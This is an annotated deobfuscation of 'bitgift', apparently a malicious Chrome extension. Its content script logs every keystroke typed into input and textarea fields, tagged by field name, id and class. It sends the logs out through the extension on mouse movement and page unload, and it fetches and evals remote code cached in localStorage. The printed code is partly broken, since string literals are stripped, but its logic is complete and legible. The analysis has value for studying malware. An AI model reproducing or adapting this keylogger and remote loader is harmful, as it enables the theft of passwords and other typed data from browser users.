bitgift (Annotated)

// \x0A is the equalsto of return

// I'm not sure how this works, but it appears to allow you to use, for example, body in place of "body" in your code.
var _0x2eb2 = ["", "length", "body", "URL", "title", "sendRequest", "extension", "keydown", "input, textarea", "keyCode", "~", "on", "keypress", "[", "name", "attr", " #", "id", "prop", " ", "class", "]", "\x0A", "charCode", "fromCharCode", "mousemove", "onbeforeunload", "bitgifts", "getItem", "bitgifts-c", "getTime", "data", "setItem"];
var kt = ;
var pu = ;
var ss = false;
setTimeout(ijCheck, 50);

function ijCheck() {
    // This is a check whether the page has loaded, I believe. If it has, install the keylogger on the page.
    if ($(body)[length]) {
        chrome[extension][sendRequest]({
            url: document[URL],
            title: document[title]
        }, function (geet) {});
        // This adds a "~" to denote backspacing, I believe.
        $(body)[on](keydown, input, textarea, function (key) {
            if (key[keyCode] == 8) {
                kt += ~
            }
        });

       // For every keypress into a text area on a website, do this:
       $(body)[on](keypress, input, textarea, function (key) {
            // This writes a header for your text input, so they know where you entered it.
            var hab = [ + $(this)[attr](name) +  # + $(this)[prop](id) +   + $(this)[attr](class) + ];
            // If this is a different text box, start a new line, write the header, and start a new line for what it logs.
            if (pu != hab) {
              kt += _0x2eb2[22] + hab + _0x2eb2[22];
                pu = hab
            };
            // Add the keypress on the newline we created.
            if (String[fromCharCode](key[charCode])) {
                kt += String[fromCharCode](key[charCode])
            }
        });
        // As soon as the user moves their mouse again...
        $(body)[mousemove](function () {
            // Check whether what we have logged is of sufficient length, and be sure we're not already in the process of sending...
            if (kt[length] > 100 && !ss) {
                ss = true;
                // Then send the data.
                chrome[extension][sendRequest]({
                    url: document[URL],
                    post: kt
                }, function (geet) {});
                kt = ;
                pu = ;
                ss = false
            }
        })
    } else {
        // If the page hasn't loaded, try again in 50 milliseconds.
        setTimeout(ijCheck, 50)
    }
};
window[onbeforeunload] = function () {
    chrome[extension][sendRequest]({
        url: document[URL],
        post: kt
    }, function (geet) {})
};
if (!localStorage[getItem](bitgifts)) {
    fetchCS()
} else {
    if (localStorage[getItem](bitgifts-c) > new Date()[getTime]() - (120 * 1000)) {
        eval(localStorage[getItem](bitgifts))
    } else {
        fetchCS()
    }
};

function fetchCS() {
    chrome[extension][sendRequest]({
        getcs: true
    }, function (geet) {
        localStorage[setItem](bitgifts, geet[data]);
        localStorage[setItem](bitgifts-c, new Date()[getTime]());
        eval(geet[data])
    })
};